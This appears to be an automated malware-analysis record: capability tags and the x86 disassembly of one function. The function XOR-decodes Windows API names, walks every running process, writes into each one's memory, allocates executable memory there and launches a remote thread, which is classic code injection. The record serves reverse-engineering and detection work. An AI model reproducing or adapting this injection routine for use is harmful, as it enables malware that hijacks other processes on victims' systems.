Function at 0x5a35c0
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Encode data using xor
Enumerate processes
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x138
xor eax, eax
push ebx
push esi
push edi
mov bl, 0xaa
mov cl, byte [eax + 0x67568c]
xor cl, bl
mov byte [eax + 0x67568c], cl
inc eax
cmp eax, 0xa
jb 0x5a35cd
push 0x67568c
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0xd14b10], eax
xor ecx, ecx
mov dl, byte [ecx + 0x67568c]
xor dl, bl
mov byte [ecx + 0x67568c], dl
inc ecx
cmp ecx, 0xa
jb 0x5a35f7
xor ecx, ecx
mov dl, byte [ecx + 0x6756bc]
xor dl, bl
mov byte [ecx + 0x6756bc], dl
inc ecx
cmp ecx, 9
jb 0x5a360d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x6756bc
push eax
mov dword [esp + 0x14], ecx
call esi
mov dword [0xd14b1c], eax
xor eax, eax
mov cl, byte [eax + 0x6756bc]
xor cl, bl
mov byte [eax + 0x6756bc], cl
inc eax
cmp eax, 9
jb 0x5a363a
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
jns 0x5a372d
mov eax, dword [0xd14b1c]
push 2
push 0xd14ae8
push eax
call fcn.005a3250
add esp, 0xc
xor eax, eax
mov cl, byte [eax + 0x675720]
xor cl, bl
mov byte [eax + 0x675720], cl
inc eax
cmp eax, 0xb
jb 0x5a3677
mov ecx, dword [0xd14b10]
push 0x675720
push ecx
mov dword [esp + 0x14], eax
call esi
mov dword [0xd14b14], eax
xor ecx, ecx
mov dl, byte [ecx + 0x675720]
xor dl, bl
mov byte [ecx + 0x675720], dl
inc ecx
cmp ecx, 0xb
jb 0x5a36a4
push 3
push 0xd14ab8
push eax
mov dword [esp + 0x18], ecx
call fcn.005a3250
add esp, 0xc
xor eax, eax
mov cl, byte [eax + 0x67572c]
xor cl, bl
mov byte [eax + 0x67572c], cl
inc eax
cmp eax, 0xb
jb 0x5a36ce
mov edx, dword [0xd14b10]
push 0x67572c
push edx
mov dword [esp + 0x14], eax
call esi
mov dword [0xd14b14], eax
xor ecx, ecx
mov dl, byte [ecx + 0x67572c]
xor dl, bl
mov byte [ecx + 0x67572c], dl
inc ecx
cmp ecx, 0xb
jb 0x5a36fb
push 3
push 0xd14abc
push eax
mov dword [esp + 0x18], ecx
call fcn.005a3250
add esp, 0xc
pop edi
pop esi
pop ebx
add esp, 0x138
ret
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x20]
mov dword [esp + 0x1c], 0
rep stosd dword es:[edi], eax
mov eax, dword [0xd14b1c]
push 0
push 2
mov dword [0xd14aec], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [esp + 0x18], ebx
je 0x5a3900
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c], pe_nt_image_headers32
push ecx
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x5a38f9
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [esp + 0x28]
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [0xd14b18], eax
je 0x5a38e5
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push 4
push 0x400020
push eax
mov dword [esp + 0x28], 0x40
mov dword [esp + 0x2c], 0xaa60adb5
call esi
mov ecx, dword [0xd14b18]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x1c]
push 4
push eax
push 0x400020
push ecx
call ebp
mov eax, dword [esp + 0x14]
mov ecx, dword [0xd14b18]
lea edx, [esp + 0x14]
push edx
push eax
push 4
push 0x400020
push ecx
call esi
mov edx, dword [0xd14b18]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 4
push 0x1000
push 0x1c
push 0
push edx
call edi
mov esi, eax
test esi, esi
je 0x5a38d8
mov ecx, dword [0xd14b18]
lea eax, [esp + 0x10]
push eax
push 0x1c
push 0xd14ae8
push esi
push ecx
call ebp
mov edx, dword [0xd14b18]
push 0x40
push 0x1000
push 0x100
push 0
push edx
call edi
mov edi, eax
test edi, edi
je 0x5a38c4
mov ecx, dword [0xd14b18]
lea eax, [esp + 0x10]
push eax
push 0x100
push 0x5a3910
push edi
push ecx
call ebp
mov eax, dword [0xd14b18]
lea edx, [esp + 0x10]
push edx
push 0
push esi
push edi
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
je 0x5a38ab
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0x10]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0xd14b18]
push 0x8000
push 0
push edi
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ebx, dword [esp + 0x1c]
mov eax, dword [0xd14b18]
push 0x8000
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [0xd14b18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x20]
push edx
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x5a3786
pop ebp
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
add esp, 0x138
ret